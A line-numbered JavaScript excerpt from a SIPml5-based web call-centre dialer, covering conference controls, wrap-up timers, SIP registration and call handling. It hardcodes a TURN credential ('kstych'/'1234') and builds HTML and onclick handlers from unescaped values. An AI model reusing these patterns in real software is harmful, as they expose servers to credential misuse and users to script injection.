| 1099 | callchtml+="<li data-toggle='tooltip' data-title='Hangup' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\"c\",\"Hangup\");return false;'><i class='fa fa-times-circle'></i></a></li>"; | ||
| 1100 | //callchtml+="<li data-toggle='tooltip' data-title='"+cStateArr['holdext']+"' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\"c\",\""+cStateArr['holdext']+"\");return false;'><i class='fa "+cStateArr['holdexticon']+"'></i></a></li></ul>"; | ||
| 1101 | $("#connections_div_c").html(callchtml); | ||
| 1102 | } | ||
| 1103 | else | ||
| 1104 | { | ||
| 1105 | var tStateArr=[]; | ||
| 1106 | tStateArr['conficon_t_a']='btn-primary';tStateArr['conficon_t_i']='fa-chain-broken'; | ||
| 1107 | if(kstychCall['connections'][key]['connected']==1) | ||
| 1108 | { | ||
| 1109 | tStateArr['conficon_t_a']='btn-success';tStateArr['conficon_t_i']='fa-chain'; | ||
| 1110 | } | ||
| 1111 | tStateArr['mic']='UnMuteMic';tStateArr['micicon']='fa-microphone-slash'; | ||
| 1112 | if(kstychCall['connections'][key]['mic']==1) | ||
| 1113 | { | ||
| 1114 | tStateArr['mic']='MuteMic';tStateArr['micicon']='fa-microphone'; | ||
| 1115 | } | ||
| 1116 | tStateArr['speaker']='UnMuteSpeaker';tStateArr['speakericon']='fa-volume-off'; | ||
| 1117 | if(kstychCall['connections'][key]['speaker']==1) | ||
| 1118 | { | ||
| 1119 | tStateArr['speaker']='MuteSpeaker';tStateArr['speakericon']='fa-volume-up'; | ||
| 1120 | } | ||
| 1121 | tStateArr['holdext']='UnHold';tStateArr['holdexticon']='fa-play'; | ||
| 1122 | if(kstychCall['connections'][key]['holdext']=='') | ||
| 1123 | { | ||
| 1124 | tStateArr['holdext']='Hold';tStateArr['holdexticon']='fa-pause'; | ||
| 1125 | } | ||
| 1126 | |||
| 1127 | confhtml+="<div class='dropdown dropdown-icons dialer_conf_divs' confphonenumber='"+key+"' >"; | ||
| 1128 | confhtml+="<a data-toggle='dropdown' href='#' class='btn btn-stroke "+tStateArr['conficon_t_a']+" btn-circle dropdown-toggle' onmouseout='$(this).blur()'><i class='fa "+tStateArr['conficon_t_i']+"'></i> </a>"; | ||
| 1129 | confhtml+="<ul class='dropdown-menu'>"; | ||
| 1130 | confhtml+="<li data-toggle='tooltip' data-title='"+key+"' data-placement='left' data-tcontainer='body'><a href='#' onclick='return false;'><i class='fa fa-info'></i></a></li>"; | ||
| 1131 | confhtml+="<li data-toggle='tooltip' data-title='"+tStateArr['speaker']+"' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\""+key+"\",\""+tStateArr['speaker']+"\");return false;'><i class='fa "+tStateArr['speakericon']+"'></i></a></li>"; | ||
| 1132 | confhtml+="<li data-toggle='tooltip' data-title='"+tStateArr['mic']+"' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\""+key+"\",\""+tStateArr['mic']+"\");return false;'><i class='fa "+tStateArr['micicon']+"'></i></a></li>"; | ||
| 1133 | confhtml+="<li data-toggle='tooltip' data-title='Hangup' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\""+key+"\",\"Hangup\");return false;'><i class='fa fa-times-circle'></i></a></li>"; | ||
| 1134 | //confhtml+="<li data-toggle='tooltip' data-title='"+tStateArr['holdext']+"' data-placement='left' data-tcontainer='body'><a href='#' onclick='kCallAction(\""+key+"\",\""+tStateArr['holdext']+"\");return false;'><i class='fa "+tStateArr['holdexticon']+"'></i></a></li>"; | ||
| 1135 | confhtml+="</ul></div>"; | ||
| 1136 | } | ||
| 1137 | } | ||
| 1138 | } | ||
| 1139 | $(confhtml).insertAfter("#connections_div_c"); | ||
| 1140 | ////////////////////////////////////////////////////////////// | ||
| 1141 | |||
| 1142 | ////////////////////////////////////////////////////////////// | ||
| 1143 | if(kstychCall['mCallState']=="Wait") | ||
| 1144 | { | ||
| 1145 | if(kstychDialer['mDialerState']!="Manual"){$("#dialerstate_btn").parent().attr("disabled",false)}; | ||
| 1146 | if(kstychDialer['mmanualallow']=='Yes')$("#manualdialnumber_txt").attr("disabled",false); | ||
| 1147 | else $("#manualdialnumber_txt").attr("disabled",true); | ||
| 1148 | |||
| 1149 | $("#manualdial_btn").attr("disabled",false); | ||
| 1150 | $("#manualdial_btn").attr("dialaction","dialnext"); | ||
| 1151 | $("#manualdial_btn").html("<i class='fa fa-play text-default'></i>"); | ||
| 1152 | |||
| 1153 | if(kstychDialer['mDialerState']=="Ready") | ||
| 1154 | { | ||
| 1155 | var readyDelay=Math.ceil((getNowTS()-kstychCall['ts_Wait'])/1000); | ||
| 1156 | |||
| 1157 | $("#manualdial_btn").attr("disabled",true); | ||
| 1158 | $("#manualdial_btn").attr("dialaction",""); | ||
| 1159 | $("#manualdial_btn").html("Waiting");// : "+readyDelay); | ||
| 1160 | |||
| 1161 | } | ||
| 1162 | } | ||
| 1163 | if(kstychCall['mCallState']=="Call") | ||
| 1164 | { | ||
| 1165 | $("#dialerstate_btn").parent().attr("disabled",true); | ||
| 1166 | $("#manualdialnumber_txt").attr("disabled",true); | ||
| 1167 | |||
| 1168 | $("#manualdial_btn").attr("disabled",false); | ||
| 1169 | $("#manualdial_btn").attr("dialaction","hangupall"); | ||
| 1170 | $("#manualdial_btn").html("<i class='fa fa-times text-primary'></i> Hangup"); | ||
| 1171 | } | ||
| 1172 | if(kstychCall['mCallState']=="Dispo") | ||
| 1173 | { | ||
| 1174 | $("#dialerstate_btn").parent().attr("disabled",true); | ||
| 1175 | $("#manualdialnumber_txt").attr("disabled",true); | ||
| 1176 | |||
| 1177 | $("#manualdial_btn").attr("disabled",false); | ||
| 1178 | $("#manualdial_btn").attr("dialaction","saveclose"); | ||
| 1179 | $("#manualdial_btn").html("<i class='fa fa-save text-success'></i> Save & Close"); | ||
| 1180 | } | ||
| 1181 | if(kstychCall['mCallState']=="Close") | ||
| 1182 | { | ||
| 1183 | $("#dialerstate_btn").parent().attr("disabled",true); | ||
| 1184 | $("#manualdialnumber_txt").attr("disabled",true); | ||
| 1185 | |||
| 1186 | $("#manualdial_btn").attr("disabled",true); | ||
| 1187 | $("#manualdial_btn").attr("dialaction",""); | ||
| 1188 | $("#manualdial_btn").html("<i class='fa fa-pause text-default'></i>"); | ||
| 1189 | } | ||
| 1190 | ////////////////////////////////////////////////////////////// | ||
| 1191 | } | ||
| 1192 | |||
| 1193 | function dialerTimersUpdate() | ||
| 1194 | { | ||
| 1195 | var dispD="0";var dispT="0";var dispC="0";var dispW="0"; | ||
| 1196 | |||
| 1197 | if(kstychCall['ts_Dispo']>1) | ||
| 1198 | { | ||
| 1199 | if(Math.ceil(((kstychCall['ts_Dispo']-kstychCall['ts_Talk'])/1000))<3) | ||
| 1200 | { | ||
| 1201 | kstychCall['callWrapupTime']=90; | ||
| 1202 | if(typeof dispoClassArray!='undefined' && typeof dispoClassArray['NA'] != 'undefined') | ||
| 1203 | { | ||
| 1204 | if($('#dialer_userstatus').val()=="") | ||
| 1205 | { | ||
| 1206 | $('#dialer_userstatus').val(dispoClassArray['NA']); | ||
| 1207 | $('#dialer_userstatus').change(); | ||
| 1208 | } | ||
| 1209 | } | ||
| 1210 | } | ||
| 1211 | |||
| 1212 | var thiswraptime=Math.ceil(kstychCall['callWrapupTime']-((getNowTS()-kstychCall['ts_Dispo'])/1000)); | ||
| 1213 | |||
| 1214 | if(thiswraptime<=0) | ||
| 1215 | { | ||
| 1216 | saveCloseDialerCall('AUTOWRAPUP'); | ||
| 1217 | } | ||
| 1218 | |||
| 1219 | if(thiswraptime==90 || thiswraptime==300) | ||
| 1220 | { | ||
| 1221 | showWrapUp(); | ||
| 1222 | } | ||
| 1223 | |||
| 1224 | dispD="Wrapup : "+thiswraptime; | ||
| 1225 | $("#spandialer_ts").html(dispD); | ||
| 1226 | $("#dialertimes1").removeClass("btn-default").addClass("btn-primary"); | ||
| 1227 | } | ||
| 1228 | else if(kstychCall['ts_Talk']>1) | ||
| 1229 | { | ||
| 1230 | kstychCall['callWrapupTime']=300; | ||
| 1231 | dispT="Talk : "+Math.ceil(((getNowTS()-kstychCall['ts_Talk'])/1000)); | ||
| 1232 | $("#spandialer_ts").html(dispT); | ||
| 1233 | $("#dialertimes1").removeClass("btn-primary").addClass("btn-default"); | ||
| 1234 | } | ||
| 1235 | else if(kstychCall['ts_Call']>1) | ||
| 1236 | { | ||
| 1237 | dispC="Call : "+Math.ceil(((getNowTS()-kstychCall['ts_Call'])/1000)); | ||
| 1238 | $("#spandialer_ts").html(dispC); | ||
| 1239 | $("#dialertimes1").removeClass("btn-primary").addClass("btn-default"); | ||
| 1240 | } | ||
| 1241 | else if(kstychCall['ts_Wait']>1) | ||
| 1242 | { | ||
| 1243 | dispW="Wait : "+Math.ceil(((getNowTS()-kstychCall['ts_Wait'])/1000)); | ||
| 1244 | $("#spandialer_ts").html(dispW); | ||
| 1245 | $("#dialertimes1").removeClass("btn-primary").addClass("btn-default"); | ||
| 1246 | } | ||
| 1247 | |||
| 1248 | |||
| 1249 | if(kstychCall['mCallState']=="Wait") | ||
| 1250 | { | ||
| 1251 | if(kstychDialer['mDialerState']=="Progressive") | ||
| 1252 | { | ||
| 1253 | var progressiveDelay=Math.ceil(kstychCall['prograssiveDelay']-((getNowTS()-kstychCall['ts_Wait'])/1000)); | ||
| 1254 | |||
| 1255 | if(progressiveDelay<0)progressiveDelay=0; | ||
| 1256 | |||
| 1257 | $("#manualdial_btn").attr("disabled",false); | ||
| 1258 | $("#manualdial_btn").attr("dialaction","dialnext"); | ||
| 1259 | $("#manualdial_btn").html("<i class='fa fa-play text-default'></i> "+progressiveDelay); | ||
| 1260 | |||
| 1261 | if(progressiveDelay<=0)$("#manualdial_btn").click(); | ||
| 1262 | } | ||
| 1263 | } | ||
| 1264 | |||
| 1265 | setTimeout(dialerTimersUpdate,1000); | ||
| 1266 | } | ||
| 1267 | |||
| 1268 | function kDialerConnected() | ||
| 1269 | { | ||
| 1270 | updateDialerState(); | ||
| 1271 | dialerTimersUpdate(); | ||
| 1272 | $("#dialerQuickControlDiv").show(); | ||
| 1273 | } | ||
| 1274 | function kDialerInit() | ||
| 1275 | { | ||
| 1276 | if(kstychAppObject['user']['id']!=0) | ||
| 1277 | { | ||
| 1278 | //simpleNotification("warning","topRight","Trying to Enable Voice Services"); | ||
| 1279 | |||
| 1280 | txtDisplayName = kstychAppObject['user']['sipid']; | ||
| 1281 | txtPrivateIdentity = kstychAppObject['user']['sipid']; | ||
| 1282 | txtPublicIdentity = "sip:"+kstychAppObject['user']['sipid']+"@"+kstychAppObject['user']['sipserver']; | ||
| 1283 | txtRealm = kstychAppObject['user']['sipserver']; | ||
| 1284 | |||
| 1285 | //txtPhoneNumber=document.getElementById("txtphno"); | ||
| 1286 | txtPhoneNumber = '1000'+kstychAppObject['user']['sipid']; | ||
| 1287 | |||
| 1288 | btnCall = false; | ||
| 1289 | btnHangUp = true; | ||
| 1290 | |||
| 1291 | btnFullScreen = false; | ||
| 1292 | audioRemote = document.getElementById("audio_remote"); | ||
| 1293 | videoLocal = document.getElementById("video_local"); | ||
| 1294 | videoRemote = document.getElementById("video_remote"); | ||
| 1295 | |||
| 1296 | SIPml.setDebugLevel(kstychAppObject['config']['appdebug']==0 ? "error" : "info"); | ||
| 1297 | |||
| 1298 | |||
| 1299 | //expert stuff //siddharth | ||
| 1300 | cbVideoDisable = true; | ||
| 1301 | if(window.location.protocol == 'https:')txtWebsocketServerUrl = "wss://"+kstychAppObject['user']['sipssldomain']+":8089/ws"; | ||
| 1302 | else txtWebsocketServerUrl = "ws://"+txtRealm+":8088/ws"; | ||
| 1303 | txtSIPOutboundProxyUrl = "";//txtSIPOutboundProxyUrl="udp://"+txtRealm+":5060"; | ||
| 1304 | |||
| 1305 | var preInit = function() { | ||
| 1306 | // set default webrtc type (before initialization) | ||
| 1307 | var s_webrtc_type = null;//getPVal("wt"); | ||
| 1308 | var s_fps = null;//getPVal("fps"); | ||
| 1309 | var s_mvs = null;//getPVal("mvs"); // maxVideoSize | ||
| 1310 | var s_mbwu = null;//getPVal("mbwu"); // maxBandwidthUp (kbps) | ||
| 1311 | var s_mbwd = null;//getPVal("mbwd"); // maxBandwidthUp (kbps) | ||
| 1312 | var s_za = null;//getPVal("za"); // ZeroArtifacts | ||
| 1313 | var s_ndb = null;//getPVal("ndb"); // NativeDebug | ||
| 1314 | |||
| 1315 | if (s_webrtc_type) SIPml.setWebRtcType(s_webrtc_type); | ||
| 1316 | |||
| 1317 | // initialize SIPML5 | ||
| 1318 | SIPml.init(postInit); | ||
| 1319 | |||
| 1320 | // set other options after initialization | ||
| 1321 | if (s_fps) SIPml.setFps(parseFloat(s_fps)); | ||
| 1322 | if (s_mvs) SIPml.setMaxVideoSize(s_mvs); | ||
| 1323 | if (s_mbwu) SIPml.setMaxBandwidthUp(parseFloat(s_mbwu)); | ||
| 1324 | if (s_mbwd) SIPml.setMaxBandwidthDown(parseFloat(s_mbwd)); | ||
| 1325 | if (s_za) SIPml.setZeroArtifacts(s_za === "true"); | ||
| 1326 | if (s_ndb == "true") SIPml.startNativeDebug(); | ||
| 1327 | |||
| 1328 | //var rinningApps = SIPml.getRunningApps(); | ||
| 1329 | //var _rinningApps = Base64.decode(rinningApps); | ||
| 1330 | //tsk_utils_log_info(_rinningApps); | ||
| 1331 | } | ||
| 1332 | |||
| 1333 | oReadyStateTimer = setInterval(function () { | ||
| 1334 | if (document.readyState === "complete") { | ||
| 1335 | clearInterval(oReadyStateTimer); | ||
| 1336 | // initialize SIPML5 | ||
| 1337 | preInit(); | ||
| 1338 | } | ||
| 1339 | }, | ||
| 1340 | 500); | ||
| 1341 | } | ||
| 1342 | } | ||
| 1343 | window.onload = function () | ||
| 1344 | { | ||
| 1345 | kDialerInit(); | ||
| 1346 | }; | ||
| 1347 | |||
| 1348 | function postInit() | ||
| 1349 | { | ||
| 1350 | // check for WebRTC support | ||
| 1351 | if (!SIPml.isWebRtcSupported()) | ||
| 1352 | { | ||
| 1353 | // is it chrome? | ||
| 1354 | if (SIPml.getNavigatorFriendlyName() == 'chrome') | ||
| 1355 | { | ||
| 1356 | document.location="msie?oldchrome"; | ||
| 1357 | return; | ||
| 1358 | } | ||
| 1359 | if (SIPml.getNavigatorFriendlyName() == 'ie'||SIPml.getNavigatorFriendlyName() == 'netscape') | ||
| 1360 | { | ||
| 1361 | document.location="msie"; | ||
| 1362 | return; | ||
| 1363 | } | ||
| 1364 | // checks for WebSocket support | ||
| 1365 | if (!SIPml.isWebSocketSupported() && !SIPml.isWebRtc4AllSupported()) | ||
| 1366 | { | ||
| 1367 | document.location="msie?nowebsockets"; | ||
| 1368 | return; | ||
| 1369 | } | ||
| 1370 | } | ||
| 1371 | |||
| 1372 | if (!SIPml.isWebRtc4AllSupported() && !SIPml.isWebRtcSupported()) | ||
| 1373 | { | ||
| 1374 | document.location="msie?notsupported"; | ||
| 1375 | return; | ||
| 1376 | } | ||
| 1377 | |||
| 1378 | oConfigCall = { | ||
| 1379 | audio_remote: audioRemote, | ||
| 1380 | video_local: videoLocal, | ||
| 1381 | video_remote: videoRemote, | ||
| 1382 | screencast_window_id: 0x00000000, // entire desktop | ||
| 1383 | bandwidth: { audio:undefined, video:undefined }, | ||
| 1384 | video_size: { minWidth:undefined, minHeight:undefined, maxWidth:undefined, maxHeight:undefined }, | ||
| 1385 | events_listener: { events: '*', listener: onSipEventSession }, | ||
| 1386 | sip_caps: [ | ||
| 1387 | { name: '+g.oma.sip-im' }, | ||
| 1388 | { name: 'language', value: '\"en,fr\"' } | ||
| 1389 | ] | ||
| 1390 | }; | ||
| 1391 | sipRegister(); | ||
| 1392 | //simpleNotification("warning","topRight","Requesting Voice Permissions"); | ||
| 1393 | //navigator.getUserMedia = (navigator.getUserMedia ||navigator.webkitGetUserMedia ||navigator.mozGetUserMedia || navigator.msGetUserMedia); | ||
| 1394 | //navigator.getUserMedia({video: false, audio: true},function(localMediaStream) {},function(err) {simpleNotification("error","topRight","Your Browser doesnot support Voice. Some functions will not work.");}); | ||
| 1395 | |||
| 1396 | } | ||
| 1397 | |||
| 1398 | |||
| 1399 | // sends SIP REGISTER request to login | ||
| 1400 | function sipRegister() { | ||
| 1401 | // catch exception for IE (DOM not ready) | ||
| 1402 | try | ||
| 1403 | { | ||
| 1404 | if (!txtRealm || !txtPrivateIdentity || !txtPublicIdentity) { | ||
| 1405 | txtRegStatus = '<b>Please fill madatory fields (*)</b>'; | ||
| 1406 | simpleNotification("error","topRight",txtRegStatus); | ||
| 1407 | return; | ||
| 1408 | } | ||
| 1409 | var o_impu = tsip_uri.prototype.Parse(txtPublicIdentity); | ||
| 1410 | if (!o_impu || !o_impu.s_user_name || !o_impu.s_host) { | ||
| 1411 | txtRegStatus = "<b>[" + txtPublicIdentity + "] is not a valid Public identity</b>"; | ||
| 1412 | simpleNotification("error","topRight",txtRegStatus); | ||
| 1413 | return; | ||
| 1414 | } | ||
| 1415 | |||
| 1416 | // enable notifications if not already done | ||
| 1417 | if (window.webkitNotifications && window.webkitNotifications.checkPermission() != 0) { | ||
| 1418 | window.webkitNotifications.requestPermission(); | ||
| 1419 | } | ||
| 1420 | |||
| 1421 | var iceServers=[{ url: 'stun:'+kstychAppObject['user']['sipserver']+':3478'}, { url:'turn:'+kstychAppObject['user']['sipserver'], credential:'1234',username: 'kstych'}]; | ||
| 1422 | if(kstychAppObject['config']['use-ice']=='no')iceServers=[{ url: 'stun:127.0.0.1:3478'}]; | ||
| 1423 | |||
| 1424 | // create SIP stack | ||
| 1425 | oSipStack = new SIPml.Stack({ | ||
| 1426 | realm: txtRealm, | ||
| 1427 | impi: txtPrivateIdentity, | ||
| 1428 | impu: txtPublicIdentity, | ||
| 1429 | password: kstychAppObject['user']['sipauth'], | ||
| 1430 | display_name: txtDisplayName, | ||
| 1431 | websocket_proxy_url: txtWebsocketServerUrl, | ||
| 1432 | outbound_proxy_url: txtSIPOutboundProxyUrl, | ||
| 1433 | ice_servers: iceServers, | ||
| 1434 | enable_rtcweb_breaker: false, | ||
| 1435 | events_listener: { events: '*', listener: onSipEventStack }, | ||
| 1436 | enable_early_ims: true, // Must be true unless you're using a real IMS network | ||
| 1437 | enable_media_stream_cache: false, | ||
| 1438 | bandwidth: null, // could be redefined a session-level | ||
| 1439 | video_size: null, // could be redefined a session-level | ||
| 1440 | sip_headers: [ | ||
| 1441 | { name: 'User-Agent', value: 'IM-client/Kstych' }, | ||
| 1442 | { name: 'Organization', value: 'Kstych Pvt Ltd' } | ||
| 1443 | ] | ||
| 1444 | } | ||
| 1445 | ); | ||
| 1446 | |||
| 1447 | if (oSipStack.start() != 0) { | ||
| 1448 | txtRegStatus = '<b>Failed to start the SIP stack</b>'; | ||
| 1449 | simpleNotification("error","topRight",txtRegStatus); | ||
| 1450 | } | ||
| 1451 | else {loggedin=1;return;} | ||
| 1452 | } | ||
| 1453 | catch (e) { | ||
| 1454 | txtRegStatus = "<b>2:" + e + "</b>"; | ||
| 1455 | simpleNotification("error","topRight",txtRegStatus); | ||
| 1456 | } | ||
| 1457 | } | ||
| 1458 | |||
| 1459 | // sends SIP REGISTER (expires=0) to logout | ||
| 1460 | function sipUnRegister(type) | ||
| 1461 | { | ||
| 1462 | if (oSipStack) { | ||
| 1463 | try{sipHangUp();}catch(e){console.log(e);} | ||
| 1464 | oSipStack.stop(); // shutdown all sessions | ||
| 1465 | } | ||
| 1466 | |||
| 1467 | if(!type) | ||
| 1468 | { | ||
| 1469 | /* simpleNotification("warning","topRight","Retrying in 10 sec...");*/ | ||
| 1470 | $("#phonetopbar").hide(); | ||
| 1471 | //setTimeout(sipRegister,10*1000); | ||
| 1472 | document.location='/logout'; | ||
| 1473 | } | ||
| 1474 | else loggedin=0; | ||
| 1475 | } | ||
| 1476 | |||
| 1477 | // makes a call (SIP INVITE) | ||
| 1478 | function sipCall(s_type,destination) { | ||
| 1479 | if(oSipStack) | ||
| 1480 | { | ||
| 1481 | if (oSipSessionCall) { | ||
| 1482 | txtCallStatus = '<i>Already in a Call...</i>'; | ||
| 1483 | simpleNotification("warning","topRight",txtCallStatus); | ||
| 1484 | } | ||
| 1485 | else { | ||
| 1486 | if (!tsk_string_is_null_or_empty(destination)) { | ||
| 1487 | |||
| 1488 | if(s_type == 'call-screenshare') { | ||
| 1489 | if(!SIPml.isScreenShareSupported()) { | ||
| 1490 | alert('Screen sharing not supported. Are you using chrome 26+?'); | ||
| 1491 | return; | ||
| 1492 | } | ||
| 1493 | if (!location.protocol.match('https')){ | ||
| 1494 | if (confirm("Screen sharing requires https://. Do you want to be redirected?")) { | ||
| 1495 | sipUnRegister(); | ||
| 1496 | window.location = 'msie?httpsneeded'; | ||
| 1497 | } | ||
| 1498 | return; | ||
| 1499 | } | ||
| 1500 | } | ||
| 1501 | btnCall = true; | ||
| 1502 | btnHangUp = false; | ||
| 1503 | |||
| 1504 | |||
| 1505 | // create call session | ||
| 1506 | oSipSessionCall = oSipStack.newSession(s_type, oConfigCall); | ||
| 1507 | // make call | ||
| 1508 | if (oSipSessionCall.call(destination) != 0) { | ||
| 1509 | oSipSessionCall = null; | ||
| 1510 | txtCallStatus = 'Failed to make call'; | ||
| 1511 | simpleNotification("error","topRight",txtCallStatus); | ||
| 1512 | btnCall = false; | ||
| 1513 | btnHangUp = true; | ||
| 1514 | return; | ||
| 1515 | } | ||
| 1516 | } | ||
| 1517 | } | ||
| 1518 | } | ||
| 1519 | } | ||
| 1520 | function sipAnswer() | ||
| 1521 | { | ||
| 1522 | if(oSipStack){ | ||
| 1523 | if (oSipSessionCall) { | ||
| 1524 | txtCallStatus = '<i>Connecting...</i>'; | ||
| 1525 | //simpleNotification("warning","topRight",txtCallStatus); | ||
| 1526 | oSipSessionCall.accept(oConfigCall); | ||
| 1527 | } | ||
| 1528 | } | ||
| 1529 | if(answergrowl)$.gritter.remove(answergrowl, {fade: true,speed: 'slow'}); | ||
| 1530 | } | ||
| 1531 | |||
| 1532 | // Share entire desktop aor application using BFCP or WebRTC native implementation | ||
| 1533 | function sipShareScreen() { | ||
| 1534 | if (SIPml.getWebRtcType() === 'w4a') { | ||
| 1535 | // Sharing using BFCP -> requires an active session | ||
| 1536 | if (!oSipSessionCall) { | ||
| 1537 | txtCallStatus = '<i>No active session</i>'; | ||
| 1538 | return; | ||
| 1539 | } | ||
| 1540 | if (oSipSessionCall.bfcpSharing) { | ||
| 1541 | if (oSipSessionCall.stopBfcpShare(oConfigCall) != 0) { | ||
| 1542 | txtCallStatus = 'Failed to stop BFCP share'; | ||
| 1543 | } | ||
| 1544 | else { | ||
| 1545 | oSipSessionCall.bfcpSharing = false; | ||
| 1546 | } | ||
| 1547 | } | ||
| 1548 | else { | ||
| 1549 | oConfigCall.screencast_window_id = 0x00000000; | ||
| 1550 | if (oSipSessionCall.startBfcpShare(oConfigCall) != 0) { | ||
| 1551 | txtCallStatus = 'Failed to start BFCP share'; | ||
| 1552 | } | ||
| 1553 | else { | ||
| 1554 | oSipSessionCall.bfcpSharing = true; | ||
| 1555 | } | ||
| 1556 | } | ||
| 1557 | } | ||
| 1558 | else { | ||
| 1559 | sipCall('call-screenshare',txtPhoneNumber); | ||
| 1560 | } | ||
| 1561 | } | ||
| 1562 | |||
| 1563 | |||
| 1564 | |||
| 1565 | // transfers the call | ||
| 1566 | function sipTransfer(s_destination) { | ||
| 1567 | if (oSipSessionCall) { | ||
| 1568 | if (!tsk_string_is_null_or_empty(s_destination)) { | ||
| 1569 | btnTransfer.disabled = true; | ||
| 1570 | if (oSipSessionCall.transfer(s_destination) != 0) { | ||
| 1571 | txtCallStatus = '<i>Call transfer failed</i>'; | ||
| 1572 | btnTransfer.disabled = false; | ||
| 1573 | return; | ||
| 1574 | } | ||
| 1575 | txtCallStatus = '<i>Transfering the call...</i>'; | ||
| 1576 | } | ||
| 1577 | } | ||
| 1578 | } | ||
| 1579 | |||
| 1580 | // holds or resumes the call | ||
| 1581 | function sipToggleHoldResume() { | ||
| 1582 | if (oSipSessionCall) { | ||
| 1583 | var i_ret; | ||
| 1584 | btnHoldResume.disabled = true; | ||
| 1585 | txtCallStatus = oSipSessionCall.bHeld ? '<i>Resuming the call...</i>' : '<i>Holding the call...</i>'; | ||
| 1586 | i_ret = oSipSessionCall.bHeld ? oSipSessionCall.resume() : oSipSessionCall.hold(); | ||
| 1587 | if (i_ret != 0) { | ||
| 1588 | txtCallStatus = '<i>Hold / Resume failed</i>'; | ||
| 1589 | btnHoldResume.disabled = false; | ||
| 1590 | return; | ||
| 1591 | } | ||
| 1592 | } | ||
| 1593 | } | ||
| 1594 | |||
| 1595 | // Mute or Unmute the call | ||
| 1596 | function sipToggleMute() { | ||
| 1597 | if (oSipSessionCall) { | ||
| 1598 | var i_ret; | ||
| 1599 | var bMute = !oSipSessionCall.bMute; | ||
| 1600 | txtCallStatus = bMute ? '<i>Mute the call...</i>' : '<i>Unmute the call...</i>'; | ||
| 1601 | i_ret = oSipSessionCall.mute('audio'/*could be 'video'*/, bMute); | ||
| 1602 | if (i_ret != 0) { | ||
| 1603 | simpleNotification('error','topRight',"Mute / Unmute failed"); | ||
| 1604 | return; | ||
| 1605 | } | ||
| 1606 | oSipSessionCall.bMute = bMute; | ||
| 1607 | var btnMute = bMute ? "Mute" : "Unmute"; | ||
| 1608 | simpleNotification('success','topRight',"You are now ["+btnMute+"]"); | ||
| 1609 | |||
| 1610 | return bMute ? 0 : 1; | ||
| 1611 | } | ||
| 1612 | return 1; | ||
| 1613 | } | ||
| 1614 | |||
| 1615 | // terminates the call (SIP BYE or CANCEL) | ||
| 1616 | function sipHangUp() { | ||
| 1617 | try | ||
| 1618 | { | ||
| 1619 | stopRingbackTone(); | ||
| 1620 | stopRingTone(); | ||
| 1621 | |||
| 1622 | if (oSipSessionCall) { | ||
| 1623 | txtCallStatus = '<i>Terminating the call...</i>'; | ||
| 1624 | oSipSessionCall.hangup({events_listener: { events: '*', listener: onSipEventSession }}); | ||
| 1625 | //simpleNotification("warning","topRight","Call Terminated."); | ||
| 1626 | } | ||
| 1627 | //$("#phonetopbar").hide(); | ||
| 1628 | } | ||
| 1629 | catch(e){console.log(e);} | ||
| 1630 | |||
| 1631 | if(hangupgrowl)$.gritter.remove(hangupgrowl, {fade: true,speed: 'slow'}); | ||
| 1632 | if(answergrowl)$.gritter.remove(answergrowl, {fade: true,speed: 'slow'}); | ||
| 1633 | } | ||
| 1634 | |||
| 1635 | function sipSendDTMF(c){ | ||
| 1636 | if(oSipSessionCall && c){ | ||
| 1637 | if(oSipSessionCall.dtmf(c) == 0){ | ||
| 1638 | try { dtmfTone.play(); } catch(e){ } | ||
| 1639 | } | ||
| 1640 | } | ||
| 1641 | } | ||
| 1642 | |||
| 1643 | function startRingTone() { | ||
| 1644 | try { ringtone.play(); } | ||
| 1645 | catch (e) { } | ||
| 1646 | } | ||
| 1647 | |||
| 1648 | function stopRingTone() { | ||
| 1649 | try { ringtone.pause(); } | ||
| 1650 | catch (e) { } | ||
| 1651 | } | ||
| 1652 | |||
| 1653 | function startRingbackTone() { | ||
| 1654 | try { ringbacktone.play(); } | ||
| 1655 | catch (e) { } | ||
| 1656 | } | ||
| 1657 | |||
| 1658 | function stopRingbackTone() { | ||
| 1659 | try { ringbacktone.pause(); } | ||
| 1660 | catch (e) { } | ||
| 1661 | } | ||
| 1662 | function incomingbeepstart() { | ||
| 1663 | try { incomingbeep.play(); } | ||
| 1664 | catch (e) { } | ||
| 1665 | } | ||
| 1666 | function incomingbeepstop() { | ||
| 1667 | try { incomingbeep.pause(); } | ||
| 1668 | catch (e) { } | ||
| 1669 | } | ||
| 1670 | function toggleFullScreen() { | ||
| 1671 | if (videoRemote.webkitSupportsFullscreen) { | ||
| 1672 | fullScreen(!videoRemote.webkitDisplayingFullscreen); | ||
| 1673 | } | ||
| 1674 | else { | ||
| 1675 | fullScreen(!bFullScreen); | ||
| 1676 | } | ||
| 1677 | } | ||
| 1678 | |||
| 1679 | function fullScreen(b_fs) { | ||
| 1680 | return false;//TODO | ||
| 1681 | bFullScreen = b_fs; | ||
| 1682 | if (tsk_utils_have_webrtc4native() && bFullScreen && videoRemote.webkitSupportsFullscreen) { | ||
| 1683 | if (bFullScreen) { | ||
| 1684 | videoRemote.webkitEnterFullScreen(); | ||
| 1685 | } | ||
| 1686 | else { | ||
| 1687 | videoRemote.webkitExitFullscreen(); | ||
| 1688 | } | ||
| 1689 | } | ||
| 1690 | else { | ||
| 1691 | if (tsk_utils_have_webrtc4npapi()) { | ||
| 1692 | try { if(window.__o_display_remote) window.__o_display_remote.setFullScreen(b_fs); } | ||
| 1693 | catch (e) { /*divVideo.setAttribute("class", b_fs ? "full-screen" : "normal-screen");*/ } | ||
| 1694 | } | ||
| 1695 | else { | ||
| 1696 | //divVideo.setAttribute("class", b_fs ? "full-screen" : "normal-screen"); | ||
| 1697 | } | ||
| 1698 | } | ||
| 1699 | } | ||
| 1700 | |||
| 1701 | function showNotifICall(s_number) { | ||
| 1702 | return false;//TODO | ||
| 1703 | // permission already asked when we registered | ||
| 1704 | if (window.webkitNotifications && window.webkitNotifications.checkPermission() == 0) { | ||
| 1705 | if (oNotifICall) { | ||
| 1706 | oNotifICall.cancel(); | ||
| 1707 | } | ||
| 1708 | oNotifICall = window.webkitNotifications.createNotification('images/sipml-34x39.png', 'Incaming call', 'Incoming call from ' + s_number); | ||
| 1709 | oNotifICall.onclose = function () { oNotifICall = null; }; | ||
| 1710 | oNotifICall.show(); | ||
| 1711 | } | ||
| 1712 | } | ||
| 1713 | |||
| 1714 | |||
| 1715 | function uiOnConnectionEvent(b_connected, b_connecting) { | ||
